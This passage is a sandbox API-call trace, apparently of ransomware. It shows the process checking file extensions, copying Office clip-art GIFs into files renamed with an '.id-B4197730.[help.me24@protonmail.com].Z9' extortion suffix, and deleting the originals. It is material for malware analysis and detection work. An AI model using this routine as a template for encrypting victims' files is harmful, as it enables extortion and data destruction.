	[0081.004] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.004] lstrlenW (lpString=".7z") returned 3
	[0081.004] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.004] lstrlenW (lpString=".dbf") returned 4
	[0081.004] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.004] lstrlenW (lpString=".1cd") returned 4
	[0081.004] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.004] lstrlenW (lpString=".jpg") returned 4
	[0081.004] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.004] lstrlenW (lpString=".doc") returned 4
	[0081.004] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.004] lstrlenW (lpString=".docx") returned 5
	[0081.004] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.004] lstrlenW (lpString=".pdf") returned 4
	[0081.004] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.004] lstrlenW (lpString=".xls") returned 4
	[0081.004] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.004] lstrlenW (lpString=".xlsx") returned 5
	[0081.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.004] lstrlenW (lpString=".ppt") returned 4
	[0081.004] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.004] lstrlenW (lpString=".zip") returned 4
	[0081.004] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.004] lstrlenW (lpString=".rar") returned 4
	[0081.005] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.005] lstrlenW (lpString=".bz2") returned 4
	[0081.005] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.005] lstrlenW (lpString=".7z") returned 3
	[0081.005] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.005] lstrlenW (lpString=".dbf") returned 4
	[0081.005] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.005] lstrlenW (lpString=".1cd") returned 4
	[0081.005] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.005] lstrlenW (lpString=".jpg") returned 4
	[0081.005] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.005] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.005] lstrlenW (lpString="AG00090_.GIF") returned 12
	[0081.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.006] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=517) returned 1
	[0081.006] CloseHandle (hObject=0x394) returned 1
	[0081.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220
	[0081.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.007] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.007] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.007] GetLastError () returned 0x0
	[0081.007] ReadFile (in: hFile=0x394, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x205, lpOverlapped=0x0) returned 1
	[0081.008] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x210, lpOverlapped=0x0) returned 1
	[0081.009] ReadFile (in: hFile=0x394, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.009] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.010] SetEndOfFile (hFile=0x370) returned 1
	[0081.010] CloseHandle (hObject=0x370) returned 1
	[0081.011] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.011] SetEndOfFile (hFile=0x394) returned 1
	[0081.012] CloseHandle (hObject=0x394) returned 1
	[0081.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1
	[0081.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.012] lstrlenW (lpString=".doc") returned 4
	[0081.012] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.012] lstrlenW (lpString=".docx") returned 5
	[0081.012] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.012] lstrlenW (lpString=".pdf") returned 4
	[0081.012] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.013] lstrlenW (lpString=".xls") returned 4
	[0081.013] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.013] lstrlenW (lpString=".xlsx") returned 5
	[0081.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.013] lstrlenW (lpString=".ppt") returned 4
	[0081.013] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.013] lstrlenW (lpString=".zip") returned 4
	[0081.013] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.013] lstrlenW (lpString=".rar") returned 4
	[0081.013] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.013] lstrlenW (lpString=".bz2") returned 4
	[0081.013] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.013] lstrlenW (lpString=".7z") returned 3
	[0081.013] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.013] lstrlenW (lpString=".dbf") returned 4
	[0081.013] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.013] lstrlenW (lpString=".1cd") returned 4
	[0081.013] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.013] lstrlenW (lpString=".jpg") returned 4
	[0081.013] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.013] lstrlenW (lpString=".doc") returned 4
	[0081.013] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.013] lstrlenW (lpString=".docx") returned 5
	[0081.013] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.013] lstrlenW (lpString=".pdf") returned 4
	[0081.013] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.013] lstrlenW (lpString=".xls") returned 4
	[0081.013] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.013] lstrlenW (lpString=".xlsx") returned 5
	[0081.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.014] lstrlenW (lpString=".ppt") returned 4
	[0081.014] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.014] lstrlenW (lpString=".zip") returned 4
	[0081.014] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.014] lstrlenW (lpString=".rar") returned 4
	[0081.014] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.014] lstrlenW (lpString=".bz2") returned 4
	[0081.014] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.014] lstrlenW (lpString=".7z") returned 3
	[0081.014] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.014] lstrlenW (lpString=".dbf") returned 4
	[0081.014] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.014] lstrlenW (lpString=".1cd") returned 4
	[0081.014] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68
	[0081.014] lstrlenW (lpString=".jpg") returned 4
	[0081.014] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.014] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.014] lstrlenW (lpString="AG00092_.GIF") returned 12
	[0081.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.014] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=502) returned 1
	[0081.014] CloseHandle (hObject=0x394) returned 1
	[0081.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220
	[0081.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.015] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.015] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.015] GetLastError () returned 0x0
	[0081.015] ReadFile (in: hFile=0x394, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1f6, lpOverlapped=0x0) returned 1
	[0081.017] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x200, lpOverlapped=0x0) returned 1
	[0081.017] ReadFile (in: hFile=0x394, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.017] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.018] SetEndOfFile (hFile=0x370) returned 1
	[0081.018] CloseHandle (hObject=0x370) returned 1
	[0081.019] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.019] SetEndOfFile (hFile=0x394) returned 1
	[0081.020] CloseHandle (hObject=0x394) returned 1
	[0081.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1
	[0081.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.021] lstrlenW (lpString=".doc") returned 4
	[0081.021] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.021] lstrlenW (lpString=".docx") returned 5
	[0081.021] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.021] lstrlenW (lpString=".pdf") returned 4
	[0081.021] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.021] lstrlenW (lpString=".xls") returned 4
	[0081.021] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.021] lstrlenW (lpString=".xlsx") returned 5
	[0081.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.021] lstrlenW (lpString=".ppt") returned 4
	[0081.021] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.021] lstrlenW (lpString=".zip") returned 4
	[0081.021] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.021] lstrlenW (lpString=".rar") returned 4
	[0081.021] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.021] lstrlenW (lpString=".bz2") returned 4
	[0081.021] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.021] lstrlenW (lpString=".7z") returned 3
	[0081.021] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.021] lstrlenW (lpString=".dbf") returned 4
	[0081.021] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.021] lstrlenW (lpString=".1cd") returned 4
	[0081.021] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.021] lstrlenW (lpString=".jpg") returned 4
	[0081.021] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.022] lstrlenW (lpString=".doc") returned 4
	[0081.022] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.022] lstrlenW (lpString=".docx") returned 5
	[0081.022] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.022] lstrlenW (lpString=".pdf") returned 4
	[0081.022] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.022] lstrlenW (lpString=".xls") returned 4
	[0081.022] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.022] lstrlenW (lpString=".xlsx") returned 5
	[0081.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.022] lstrlenW (lpString=".ppt") returned 4
	[0081.022] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.022] lstrlenW (lpString=".zip") returned 4
	[0081.022] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.022] lstrlenW (lpString=".rar") returned 4
	[0081.022] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.022] lstrlenW (lpString=".bz2") returned 4
	[0081.022] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.022] lstrlenW (lpString=".7z") returned 3
	[0081.022] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.022] lstrlenW (lpString=".dbf") returned 4
	[0081.022] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.022] lstrlenW (lpString=".1cd") returned 4
	[0081.022] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68
	[0081.022] lstrlenW (lpString=".jpg") returned 4
	[0081.022] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.022] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.022] lstrlenW (lpString="AG00103_.GIF") returned 12
	[0081.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0081.023] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=12702) returned 1
	[0081.023] CloseHandle (hObject=0x394) returned 1
	[0081.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220
	[0081.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.374] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.374] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.430] GetLastError () returned 0x0
	[0081.430] ReadFile (in: hFile=0x38c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x319e, lpOverlapped=0x0) returned 1
	[0081.442] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x31a0, lpOverlapped=0x0) returned 1
	[0081.444] ReadFile (in: hFile=0x38c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.444] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.444] SetEndOfFile (hFile=0x338) returned 1
	[0081.444] CloseHandle (hObject=0x338) returned 1
	[0081.445] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.445] SetEndOfFile (hFile=0x38c) returned 1
	[0081.446] CloseHandle (hObject=0x38c) returned 1
	[0081.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1
	[0081.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.447] lstrlenW (lpString=".doc") returned 4
	[0081.447] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.447] lstrlenW (lpString=".docx") returned 5
	[0081.447] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.447] lstrlenW (lpString=".pdf") returned 4
	[0081.447] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.447] lstrlenW (lpString=".xls") returned 4
	[0081.447] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.447] lstrlenW (lpString=".xlsx") returned 5
	[0081.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.447] lstrlenW (lpString=".ppt") returned 4
	[0081.447] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68
	[0081.447] lstrlenW (lpString=".zip") returned 4
	[0081.447] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.447] lstrlenW (lpString=".rar") returned 4
	[0081.447] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
